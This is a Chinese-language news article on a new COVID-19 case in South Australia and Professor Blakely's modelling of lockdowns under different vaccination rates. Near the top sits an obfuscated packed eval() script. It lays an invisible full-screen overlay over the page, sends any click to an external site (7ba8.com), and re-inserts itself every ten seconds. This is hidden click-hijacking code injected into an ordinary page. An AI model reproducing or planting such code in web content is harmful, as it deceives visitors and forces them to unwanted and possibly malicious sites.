南澳今天新增1例确诊！专家：封锁在疫苗开始接种后或还将出现！提高接种率是关键！

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>

据SA Health的消息，南澳今天新增一例确诊，该病例是海外归国隔离病例。

接种疫苗的人多了之后，还有必要封锁吗？一个新的研究模式或许能告诉我们答案。

据澳媒报道，一旦有更多的澳大利亚人口接种了COVID疫苗，如果再次大规模爆发病毒，会发生什么？一份新的研究模型称封锁或无法避免，但加快接种率是关键。

接种疫苗后是应该重新实行维州式的严格和长时间的封锁，还是应该采取限制性较小的方法，以减轻经济和心理健康的影响？

墨尔本大学的Blakely教授是创建COVID-19流行病权衡在线工具的团队成员之一。

该工具允许用户修改疫苗的预计吸收量、疫苗在阻止社区传播方面的功效、病毒繁殖率以及州政府用于阻止传播的策略。

Blakely教授的团队以维州为指导，根据600万人口和COVID-19在社区爆发的情况，创建了几个情景。

“悲观 &quot;的情景

这一潜在结果的基础是，只有60%的人接种了疫苗，而注射只能预防75%的社区传播。

假设高病毒繁殖率[以反映英国的病毒株]，情况很不乐观。

如果爆发疫情，实行欧洲式的 &quot;宽松抑制 &quot;限制，在疫苗的第2a阶段和第3阶段推广期间，每天的病例很可能会爆棚到每天1000多例。

但考虑到澳大利亚各州关闭边境和封锁的历史，如果爆发，可能会实施更严格的限制。

根据Blakely博士的模型，维州式的 &quot;积极消除 &quot;封锁可以将病例控制在每天5例以下。

Blakely博士说，&quot;适度消除 &quot;与新南的情况更为相似，也会将病例数控制在每天10例以下。

“最佳猜测 &quot;方案

Blakely博士预计，疫苗覆盖率约为75%的人口，它将防止90%的社区传播。

不过，他预计病毒繁殖率仍将高于去年。

根据模型，随着更多的人接种疫苗，使用 &quot;积极 &quot;和 &quot;适度 &quot;的消除策略，病例数可以控制在每天10例以下。

&quot;随着时间的推移，那些不幸被感染但又接种了疫苗的人，感染的时间会减少，感染高峰期也会减少。&quot;他说。

如果各州采取 &quot;宽松的抑制 &quot;策略，在第2a阶段，病例可能达到高峰，每天超过750例，然后逐渐减少。

“乐观但不现实 &quot;的方案

Blakely博士认为，要想让 &quot;旧版 &quot;病毒传播，导致病毒感染率下降到2020年的水平，需要一个 &quot;奇迹&quot;。

如果碰巧真的发生了这种情况，如果爆发，并且有足够的人接种疫苗，即使是最小的限制也会将阳性病例数控制在少数。

&quot;任何策略在那时候都会奏效，但我认为这是不切实际的乐观。&quot;他说。

边境、未来的封锁和疫苗恐惧

Blakely博士的模型中缺少的一个关键因素是，如果澳大利亚的边境重新开放，会发生什么，增加COVID-19病例向社区蔓延的风险。

他说，他的团队正在努力将这一功能纳入该工具的更新中。

未来，他们的工具还将关注经济因素，以及锁定相关的健康影响和家庭暴力风险。

Blakely博士在去年维州的第二次浪潮中倡导严格的封锁，他说，如果在疫苗推广期间发生更多的爆发，应该采取更柔和的方法。

&quot;我们知道锁定是必要的，它们是有效的，但它们确实会产生意想不到的后果，&quot;他说。

&quot;正确的平衡会随着时间的推移而改变。随着疫苗覆盖率的上升，我们可能可以放松，因为我们不会有那么多来自COVID病毒的伤害，因为会有更多的保护。&quot;

Blakely博士说，一些澳大利亚人不愿意接受疫苗是一个 &quot;巨大的担忧&quot;。

他说，他不同意一些欧洲当局的决定，由于发生血栓事件，他们停止或限制使用阿斯利康注射剂。

&quot;我认为我们能做的最好的事情就是诚实地对待事实。随着我们越来越多的人接种疫苗，我们知道它很好，我相信我们会看到疫苗的接种率上升，&quot;他说。

Blakely博士认为，下半年将出现一场 &quot;关键性 &quot;的讨论，即一旦成年人口接种疫苗，儿童是否应该接种疫苗。

图文来源：SA Health, ABC News

原文链接

原文链接